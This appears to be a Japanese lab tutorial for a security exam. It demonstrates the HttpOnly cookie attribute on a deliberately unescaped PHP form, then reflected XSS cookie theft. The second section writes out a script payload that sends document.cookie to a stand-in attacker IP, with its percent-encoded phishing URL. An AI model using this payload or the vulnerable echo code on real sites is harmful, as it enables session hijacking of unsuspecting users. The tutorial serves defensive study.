1.HttpOnly属性のテスト
(1)HttpOnly属性とは
HttpOnly属性は、JavaScript からCookieを操作できないようにする設定です。Cookieを取得するJavaScriptを埋め込まれたXSSなどへの対処です。
(2)Webサーバの環境
#Apacheインストール yum -y install httpd #PHPインストール yum install -y php #PHPのインストール確認(バージョンを確認) php -v #再起動 systemctl restart httpd
(3)単なる入力フォームと結果を表示するページを作る
過去問をベースに。
❶入力フォーム:description.php
<html> <meta http-equiv="content-type" charset="UTF-8"> 備考: <form action="./submitdescription.php" method="post"> <input type="text" name="description" value=""><br> <input type="submit" value="送信" > </form> </html>
❷結果表示:submitdescription.php
<html> <meta http-equiv="content-type" charset="UTF-8"> 備考: <?php print($_REQUEST['description']); ?> です。 </html>
(4)改修していきます。
❶入力フォームでCookieをセット
description.php
<?php setcookie('sessionid', 12345, time() + 3600); // sessionidに12345をセット。有効期間は3600秒 ?> <html> <meta http-equiv="content-type" charset="UTF-8"> 備考: <form action="./submitdescription.php" method="post"> <input type="text" name="description" value=""><br> <input type="submit" value="送信" > </form> </html>
以下のように、Cookieとして、sessionid=12345 HttpOnly属性がFalseであることがわかる。
❷ここで、入力フォーム(備考)に、以下を入れる
<script>alert(document.cookie)</script>
すると、以下のポップアップが出て、Cookieの値が表示されている。
❸HttpOnly属性を有効化
以下をソースに加える。
setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE);
Cookieの設定に関しては以下が詳しいが、TRUEとしている場所が、HttpOnly属性の設定である。
https://www.webdesignleaves.com/pr/php/php_basic_07.php
結果、description.phpは以下になる。
<?php setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE); ?> <html> <meta http-equiv="content-type" charset="UTF-8"> 備考: <form action="./submitdescription.php" method="post"> <input type="text" name="description" value=""><br> <input type="submit" value="送信" > </form> </html>
F12キーを押してみてみると、HttpOnly属性がTrueになっていることがわかる。
ここで、改めて以下を実行
<script>alert(document.cookie)</script>
以下のように、今度はCookieが表示されない。
2.XSSなどを使ってセッションを盗む
(1)ソースコード
先の1と同じ。ただし、HttpOnly属性はFalseのまま。
(2)攻撃の実行
入力フォームに以下を入れてみよう。ただし、http://203.0.113.101/index.htmlの部分は、攻撃者のWebサーバとする。
<script>window.location='http://203.0.113.101/index.html?'+document.cookie;</script>
するとどうなるか。window.locationによって、http://203.0.113.101/index.htmlのページに遷移する。そのとき、引数としてcookieの値を付与する。
これが実行されるのは、ターゲットとなる被害者のPC上。被害者にとっては、変なページに遷移したな、くらいに思うだけ。
しかし、攻撃者のWebサーバのログには、Cookie情報も残っている。つまり、Cookie情報を盗むことができる。サーバ側でログを見張っておき、Cookieのセッションを奪ってログインすることも可能であろう。
(3)どうやって被害者に上記をさせるか
リンクをクリックさせる。
具体的には、以下に記載しているように、URLのリンクを作成する。(脆弱性はあるけど)信頼性の高いページからのリンクであれば、クリックしてしまう可能性はあるだろう。
https://sc.seeeko.com/entry/cross_site_attack
上記にも書いたが、余分なことを消すために、いったん”>で閉じて、後半はコメントアウトしている。
"><script>window.location='http://203.0.113.111/index.html?'+document.cookie;</script><!--
これをパーセントエンコーディングすると以下
%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--
ここで、URLの引数に上記を付ける。このリンクをメールなどで送り付け、間違ってクリックさせることができれば、Cookieを盗むことができる。
http://x.x.x.x/submitdescription.php?description=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--
※ページ遷移はうまくいくのだが、Webサーバにログが残らなかった。何かやり方が悪かったのかもしれない。